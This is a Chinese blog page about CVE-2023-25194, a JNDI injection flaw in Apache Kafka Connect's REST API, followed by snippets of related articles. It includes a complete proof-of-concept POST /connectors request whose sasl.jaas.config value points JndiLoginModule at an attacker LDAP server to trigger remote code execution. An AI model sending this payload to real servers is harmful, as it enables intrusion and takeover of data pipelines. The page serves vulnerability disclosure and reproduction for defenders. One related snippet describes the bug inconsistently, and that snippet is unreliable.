CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞

Kafka漏洞修复之CVE-2023-25194修复措施验证 Apache Kafka Connect 模块通过JNDI 注入任意代码漏洞修复措施验证,包括Linux安装多版本JDK动态切换、验证OpenJDK与Kafka3.4.0的兼容性以及Linux中文件配置的优先级等 阅读详情

Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。

Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使用 Kafka。

通过 Aiven API 或 Kafka Connect REST API 配置连接器时,攻击者可以为连接器设置database.history.producer.sasl.jaas.config连接器属性io.debezium.connector.mysql.MySqlConnector。其他 debezium 连接器也可能如此。通过将连接器值设置为"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";",服务器将连接到攻击者的 LDAP 服务器并反序列化 LDAP 响应,攻击者可以使用它在 kafka 连接服务器上执行 java 反序列化小工具链。

 链接HackerOne

 POCGitHub - ohnonoyesyes/CVE-2023-25194

POST /connectors HTTP/1.1
Host: xxxx:8083
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 1109

{"name": "test", 
   "config":
    {
        "connector.class":"io.debezium.connector.mysql.MySqlConnector",
    	"database.hostname": "xxxxx",
    	"database.port": "3306",
    	"database.user": "root",
    	"database.password": "xxxxxx",
    	"database.dbname": "xxxx",
    	"database.sslmode": "SSL_MODE",
        "database.server.id": "1234",
    	"database.server.name": "localhost",
        "table.include.list": "MYSQL_TABLES",
    	"tasks.max":"1",
        "topic.prefix": "aaa22",
        "debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
        "schema.history.internal.kafka.topic": "aaa22",
        "schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
    	"database.history.producer.security.protocol": "SASL_SSL",
    	"database.history.producer.sasl.mechanism": "PLAIN",
    	"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    }
}

 

 

边缘计算场景下Java运行时安全加固实战:从供应链到RASP的闭环防御 Java运行时安全是保障企业应用稳定性的基础,其核心在于构建从代码到生产的全链路防护体系。在传统数据中心,可通过WAF、IDS等成熟方案实现纵深防御。然而,随着边缘计算的普及,Java应用部署在资源受限、网络异构的边缘节点,面临独特的安全挑战。这要求安全策略必须转向轻量化、自治化和预防为主。技术价值体现在,通过供应链安全(如依赖漏洞扫描、SBOM管理)消除已知风险,结合运行时应用自保护(RASP)实时拦截JNDI注入、反序列化等攻击行为,即使面对CVE-2023-25194这类高危漏洞,也能在不升级依赖的情 阅读详情

相关推荐

【漏洞复现】Apache Druid RCE (CVE-2023-25194) 漏洞

Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流,Kafka Connect 是一种用于在kafka和其它系统之间可扩展、可靠的流式传数据的工具。在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)

李同學AI安全 1354

Apache Kafka 漏洞 【CVE-2023-25194】说明及解决建议

Apache Kafka 漏洞 【CVE-2023-25194】说明 及 解决建议

EdwardWang_的博客 1万+

Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。

0xSec 7174

【漏洞真实影响分析】Apache Kafka Connect 模块JNDI注入(CVE-2023-25194)

Apache Kafka Connect 是Kafka中用于和其他数据系统传输数据的服务,其独立运行版本可以在Kafka发布包中通过bin/connect-standalone.sh启动,默认会在8083端口开启HTTP REST API服务,可对连接器(Connector)的配置进行操作

murphysec的博客 5059

Isaacgym使用操作指南

Isaac Gym 是一个强大的仿真工具,特别适合那些需要进行大规模并行仿真和训练的机器人和强化学习任务。通过 GPU 加速、深度学习集成和丰富的物理仿真能力,Isaac Gym 能够显著提高仿真和训练效率,是机器人学和 AI 研究中的一大利器。

Tony Wey的博客 1万+

Dify插件离线部署全攻略:从下载到安装的完整流程

本文详细介绍了Dify插件离线部署的完整流程,针对企业内网等无网络环境需求。核心步骤包括在联网环境下载插件包、在特定Python 3.12.9环境下使用专用工具进行离线重打包,以及最终在离线Dify环境中安装验证。重点解决了离线安装的核心难题,并提供了环境配置、批量处理和故障排查等实用技巧,帮助用户实现Dify插件的顺利离线部署。

seed的博客 659

【已复现】Apache Kafka Connect JNDI注入漏洞(CVE-2023-25194)安全风险通告

奇安信CERT致力于第一时间为企业级用户提供安全风险通告和有效解决方案。安全通告Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。近日,奇安信CERT监测到A...

smellycat000的专栏 4653

windows10家庭版输入loadrunner注册码时报“License security violation. Operation isnot allowed”的解决办法

有可能出现2个错误第一个可能是第二个可能是“License security violation. Operation isnot allowed”ok,在此我在百度找了很多方法,大部分的方法都是删除注册表,但我根本就找不到这个注册表,而后又是管理中心找本地用户和组,但我依旧找不到这个玩意,然后可能是windows10家庭版本来就没有这个。再然后又以管理员身份去运行填写,好的,依旧报错,依旧未解决...

qq_30990097的博客 2560

Apache Kafka Connect JNDI注入漏洞 (CVE-2023-25194) 安全风险通告

JNDI注入解析。

qq_1403034144的博客 452

NR PUCCH(二)PUCCH format 2/3/4

继续看PUCCH2/3/4:PUCCH format 0和1所携带的信息bits少,UCI bits2bits,信息bit需要经过编码等过程下面分别来看。

ModemProtocol的博客 539

FineReport 动态列切换统计维度

目标: 自己选择统计维度进行数据的汇总统计数据集参数实现动态列。

Davina_yu的博客 1053

Kafka Connect JNDI注入漏洞CVE-2023-25194深度解析与实战防御

JNDI注入是一种常见的安全漏洞类型,它利用了Java命名和目录接口的动态类加载机制。其核心原理是攻击者通过控制JNDI查找的地址,诱使应用程序从远程恶意服务器加载并执行任意代码,从而实现远程命令执行。这类漏洞的技术价值在于它往往能绕过传统的边界防护,直接攻击应用逻辑层,危害等级极高。在数据集成与流处理领域,Apache Kafka Connect作为核心组件,其REST API接口若未对用户输入进行严格过滤,便可能成为JNDI注入的攻击入口。本文以CVE-2023-25194高危漏洞为例,深入剖析了在Ka

weixin_29315091的博客 277

Universal Robot——在Gazebo中模拟UR5机器人

今天的目标是在Gazebo安装我们的ur5机器人。Gazebo是一个流行的模拟工具,它不仅可以让你像在Rviz中一样可视化你的机器人,而且还内置了一个物理引擎。这样你就可以在更真实的环境中测试你的机器人应用程序。我们将查看我们需要的属性 添加对我们的机器人——我们的order的描述,以模拟它以及如何在Gazebo中生成我们的机器人。

如果想成为中心,那么就到中心去吧。 1970

Kafka Connect JNDI注入漏洞CVE-2023-25194:从原理到实战复现与修复

JNDI注入是Java安全领域一个经典的攻击向量,它允许攻击者通过可控的命名服务地址,诱导应用从远程服务器加载并执行恶意代码,从而实现远程命令执行。其原理在于Java命名与目录接口的lookup方法在特定条件下会动态加载远程对象,这常与反序列化、动态类加载等机制结合,构成高危漏洞。这类漏洞的技术价值在于揭示了框架在追求扩展性时,若对用户输入处理不当,会将动态加载机制变为攻击入口。在分布式数据集成场景中,如Apache Kafka Connect这类通过配置动态加载插件的框架,若配置反序列化与类实例化环节存在

weixin_29315569的博客 238

1、动作捕捉技术:概述与历史

本博文全面介绍了动作捕捉技术的概念、历史演变、类型分类以及完整的工作流程。从早期的连续摄影技术到现代数字动作捕捉系统,文章深入探讨了光学、磁性和机械动作捕捉系统的优缺点及适用场景,并详细解析了动作捕捉数据的生成原理与数学基础。此外,还涵盖了特殊部位如手部、面部和木偶的动作捕捉方法,并讨论了动作捕捉在动画制作、虚拟现实、医疗康复等领域的广泛应用与发展前景。

apple5的专栏 221

手把手教你学Simulink——基于传统电网建模与稳定性分析的场景实例:基于同步发电机的单机无穷大系统建模与稳定性分析

本文详细介绍了使用MATLAB/Simulink进行单机无穷大系统(SMIB)建模与稳定性分析的方法。教程从系统结构设计入手,包含同步发电机、输电线路、无穷大母线等核心模块的建模步骤和参数配置示例。重点讲解了七个关键步骤:项目创建、模块配置、控制系统集成、负载添加(可选)以及仿真运行与结果分析,并提供了具体的MATLAB代码示例。最后通过性能评估指标(功角差、电压跌落、频率偏差)分析系统稳定性,为电力系统动态特性研究提供了实用指导,强调准确参数设置对仿真结果的重要性。

MHD0815的博客 298

Apache Kafka Clients JNDI 注入 RCE (CVE-2023-25194)

在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。验证漏洞存在,开启我们的恶意JNDI服务器,将地址改为指向攻击者服务器的payload,达到反弹shell。

Long___Xiao的博客 308

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)

Apache Kafka Connect 高危漏洞分析(CVE-2023-25194) 摘要:CVE-2023-25194是Apache Kafka Connect组件中的高危漏洞,CVSS评分8.8,影响版本2.3.0至3.3.2。该漏洞源于对SASL JAAS配置缺乏安全校验,攻击者可通过注入恶意JNDI配置触发远程代码执行。漏洞利用需满足认证访问Kafka Connect API、可修改连接器配置以及网络可达攻击者LDAP服务器等条件。复现过程显示,通过控制sasl.jaas.config参数

spinage的博客 3646

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

Apache Kafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。KafkaConnect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL协议的任意Kafka客户端,对Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行JNDI 注入来实现远程代码执行。

dzqxwzoe的博客 1493

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

qq_50854662的博客 555

Goby 漏洞发布|Apache Druid Kafka Connect 远程代码执行漏洞(CVE-2023-25194)

Apache Druid 是一个开源的分布式数据存储和分析系统。它设计用于处理大规模的实时数据,并提供快速的交互式查询和分析。Apache Druid 使用了存在漏洞的 Kafka Connect,攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为恶意类,进而可导致JNDI注入漏洞,可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

m0_46699477的博客 651

漏洞预警|Apache Kafka Connect JNDI注入漏洞

棱镜七彩漏洞预警

LJQClqjc的博客 813

CVE-2023-25194 漏洞分析:Apache Kafka Connect 远程代码执行漏洞

CVE-2023-25194 是 Apache Kafka Connect 中披露的一个高危远程代码执行(RCE)漏洞。该漏洞源于 Kafka Connect 的 REST API 在处理 connector 配置时未严格限制 plugin.path 参数,攻击者可通过构造恶意请求加载任意目录下的 JAR 包,执行任意 Java 类,进而实现远程代码执行。

2302_82311116的博客 1304
上一篇: Can‘t connect to HTTPS URL because the SSL module is not available
下一篇: dns隧道攻击原理及常用工具流量分析
耳语吖
博客等级 码龄9年 215粉丝 158原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值